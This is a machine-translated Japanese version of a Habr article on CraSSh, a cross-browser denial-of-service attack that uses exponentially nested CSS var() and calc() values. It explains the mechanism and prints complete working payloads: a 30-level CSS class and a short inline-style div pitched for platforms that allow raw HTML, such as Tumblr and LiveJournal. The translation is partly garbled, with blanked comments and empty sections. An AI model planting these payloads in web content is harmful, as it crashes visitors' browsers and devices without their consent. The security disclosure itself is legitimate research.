CraSSh:CSSの計算で最新のブラウザーをすべて破壊する

記事の著者: コンスタンチン・サフォノフ

この技術的なおしゃべりは読みたくありません。 私のブラウザはちょうど落ちました。

CraSShとは


CraSShは、最新のブラウザーでのvar()およびcalc() CSSネスト関数の不適切な処理に基づくクロスブラウザーの純粋に宣言的なDoS攻撃です。

CraSShは、デスクトップおよびモバイルデバイス上のすべての主要なブラウザーで動作します。


IEブラウザーは、攻撃の基になっている機能をサポートしていないため影響を受けませんが、ユーザーは独自の多くの問題を抱えています(おそらく、このブラウザーは他の方法で破壊される可能性があります

仕組み


CraSShのアイデアは、指数関数的な時間をかけてネストされた変数呼び出しと膨大なメモリ使用量でCSSプロパティをブラウザに計算させることです。

この攻撃は、3つのCSS機能に依存しています。

CSS変数( カスタムプロパティvar()

変数を宣言することができます:変数の割り当てと読み取り:

 .variables { --variable: 1px; /* declare some variable */ height: var(--variable); /* read the previously declared variable */ } 


変数は、再帰(無限再帰を引き起こすWebKitにバグがありましたが)またはループを許可しませんが、次のように定義できます。

calc()

式calc()を使用すると、ルールを記述するときにいくつかの基本的な算術演算を実行できます(例'width: calc(50% - 10px)'

calc()使用すると、変数を参照し、単一の式で複数の値を使用できます。

 .calc { --variable: 1px; /* declare a constant */ height: calc(var(--variable) + var(--variable)); /* access --variable twice */ } 


これにより、次のことが可能になります。


 .calc_multiple { --variable-level-0: 1px; /*  */ --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); /* 2   */ --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); /* 2   , 4   */ /* ...    */ --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); /* 2   , 2 ^ n   */ } 


指数関数的に計算する必要があるように見えますが、最新のブラウザは少し賢いので、通常は変数の値を一度計算するだけで、複雑さが線形になります。 秘Theは、変数値のキャッシングが発生した場合に発生しないことです

異質な意味

技術的には、これはcalc()一部ですが、特別な言及に値します。 異種変数には、絶対単位と相対単位の両方が含まれます。 彼女はできません:


したがって、この値は毎回再計算されます。

 .non_cached { --const: calc(50% + 10px); /*  (50% + 10px) */ --variable: calc(var(--const) + var(--const)); /* -     */ width: var(--variable); /*    */ } 

2番目の点に関しては、ほとんどのブラウザは、丸めエラーを回避するために、単一の式に異種の値を持つネストされた変数を単に埋め込みます。

 .mixed { --mixed:calc(1% + 1px); /*   */ --mixed-reference: calc(var(--mixed) + var(--mixed)); /*      */ --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); /*     */ --mixed-reference-computes-as: calc(2% + 2px); /*  ,        */ } 

式に数百万(または数十億)の要素があると想像してください... CSSエンジンは、数ギガバイトのRAMを割り当て、式を減らし、イベントハンドラーを追加して、何かが変化したときにプロパティをカウントできるようにします。 最終的に、これは特定の段階で発生します。

したがって、元のCraSShは次のようになりました。

 .crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); /*   */ --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); /* 2  */ --level-2: calc(var(--level-1) + var(--level-1)); /* 4  */ --level-3: calc(var(--level-2) + var(--level-2)); /* 8  */ --level-4: calc(var(--level-3) + var(--level-3)); /* 16  */ --level-5: calc(var(--level-4) + var(--level-4)); /* 32  */ --level-6: calc(var(--level-5) + var(--level-5)); /* 64  */ --level-7: calc(var(--level-6) + var(--level-6)); /* 128  */ --level-8: calc(var(--level-7) + var(--level-7)); /* 256  */ --level-9: calc(var(--level-8) + var(--level-8)); /* 512  */ --level-10: calc(var(--level-9) + var(--level-9)); /* 1024  */ --level-11: calc(var(--level-10) + var(--level-10)); /* 2048  */ --level-12: calc(var(--level-11) + var(--level-11)); /* 4096  */ --level-13: calc(var(--level-12) + var(--level-12)); /* 8192  */ --level-14: calc(var(--level-13) + var(--level-13)); /* 16384  */ --level-15: calc(var(--level-14) + var(--level-14)); /* 32768  */ --level-16: calc(var(--level-15) + var(--level-15)); /* 65536  */ --level-17: calc(var(--level-16) + var(--level-16)); /* 131072  */ --level-18: calc(var(--level-17) + var(--level-17)); /* 262144  */ --level-19: calc(var(--level-18) + var(--level-18)); /* 524288  */ --level-20: calc(var(--level-19) + var(--level-19)); /* 1048576  */ --level-21: calc(var(--level-20) + var(--level-20)); /* 2097152  */ --level-22: calc(var(--level-21) + var(--level-21)); /* 4194304  */ --level-23: calc(var(--level-22) + var(--level-22)); /* 8388608  */ --level-24: calc(var(--level-23) + var(--level-23)); /* 16777216  */ --level-25: calc(var(--level-24) + var(--level-24)); /* 33554432  */ --level-26: calc(var(--level-25) + var(--level-25)); /* 67108864  */ --level-27: calc(var(--level-26) + var(--level-26)); /* 134217728  */ --level-28: calc(var(--level-27) + var(--level-27)); /* 268435456  */ --level-29: calc(var(--level-28) + var(--level-28)); /* 536870912  */ --level-30: calc(var(--level-29) + var(--level-29)); /* 1073741824  */ --level-final: calc(var(--level-30) + 1px); /* 1073741824  */ /* ^        ->   -  */ border-width: var(--level-final); /* <-    */ /*     border-width,   style (=  ) */ border-style: solid; } 

 <div class="crassh">    ,      CSS     CraSSh </div> 

そして、これは1000文字未満の組み込みバージョンです(デモ用のMediaWiki)。

 <div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div> 

使い方


Tumblr( ブラウザクラッシュの )やLiveJournal( ブラウザクラッシュの例 )など HTMLへのフルアクセスを提供するプラットフォームで、ユーザーを自分のサイトやブログから遠ざけることに加えて、CraSShでは次のことができます。



なぜこれが行われるのですか



類似のもの


今、私は素晴らしいプロジェクトに参加しています。これについては少し後で説明します。 Twitterでフォローしてください。

特別な感謝


Source: https://habr.com/ru/post/J431656/


All Articles